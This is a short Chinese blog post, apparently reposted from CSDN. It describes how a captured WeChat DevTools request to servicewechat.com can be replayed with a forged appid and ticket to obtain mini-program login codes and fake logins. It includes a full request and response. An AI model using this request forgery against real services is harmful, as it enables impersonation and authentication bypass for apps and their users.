• 小程序中wx.login 登录code


     

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
    本文链接:https://blog.csdn.net/getcomputerstyle/article/details/96285616

    小程序提供了一个auth验证接口,使小程序不需要额外登录,就可以让开发者获得用户的唯一标识openid。调用方法如下:

    	wx.login({ 
    		success:resp=>{
    			const code = resp.code;
    				//DoSomthing 携带code请求服务器
    		}
       	})
    

    经过测试发现,code没有顺序性,例如在一段时间内请求了多个code,随便选一个都可以在微信提供的接口上验证成功并获得Openid。但是每个code只能验证一次,并且只有五分钟时效性(未测试)。


    我要说的其实是伪造appId,从而获取code,并伪造登录。
    小程序开发工具里是不允许修改appId为一个自己不是开发者的appId值的,所以必须搞清楚wx.login的时候微信生成这些code的原理。

    经过给开发者工具设置代理并抓包,发现每次wx.login都进行了一次网络请求:
    在这里插入图片描述
    在这里插入图片描述
    这个请求是由以下几部分组成的:

    请求头:
    POST /wxa-dev-logic/jslogin?_r={{random}}&newticket={{ 用户的另一个唯一标识,可伪造 }}&appid={{appId}}&platform=0&ext_appid=&os=win&clientversion=1021905151&os=win&clientversion=1.02.1905151&osversion=6.1.7601 HTTP/1.1
    host: servicewechat.com
    content-length: 25
    Connection: close
    
    
    POST数据:
    {"scope":["snsapi_base"]}
    

    模拟请求就可以得到对应的code

    仅限学习和交流,请勿用于非法用途

    POST https://servicewechat.com/wxa-dev-logic/jslogin?_r=0.5017947553947279&newticket=Ut8cKsaT7CVs_g0Q4-N5araal0h_E-HjGSmLW8ltPC0&appid=wx4dd641aaf8f42f3f&platform=0&ext_appid=&os=win&clientversion=1022004020HTTP/1.1
    host: servicewechat.com
    content-length: 25
    Connection: close

    {"scope":["snsapi_base"]}

    HTTP/1.1 200 OK
    Connection: close
    Access-Control-Allow-Origin: *
    Content-Type: text/plain
    X-WX-FJ: 001,018,0000001024
    SKFrmwRespCookie: 6xinAiAKEAEoKjgEQARYIt4=
    Content-Length: 143

    {"baseresponse":{"errcode":0,"errmsg":"ok"},"code":"033oA8lG06MSAg2MYViG0s6dlG0oA8lI","scope_list":[],"appname":"","appicon_url":"","state":""}

     
  • 相关阅读:
    几个不错的网页载入页面
    .NET 中关于日期时间的格式化处理
    防止网站内容被人小偷和采集的ASP代码
    .Net学习资源集
    Net程序如何防止被注入(整站通用)
    一个采集入库生成本地文件的几个FUCTION
    网页数据采集小偷
    浅谈自动采集程序及入库
    网页图片处理JS代码整理
    spark导入工程后,出现一些错误
  • 原文地址:https://www.cnblogs.com/du-jun/p/12720945.html
Copyright © 2020-2023  润新知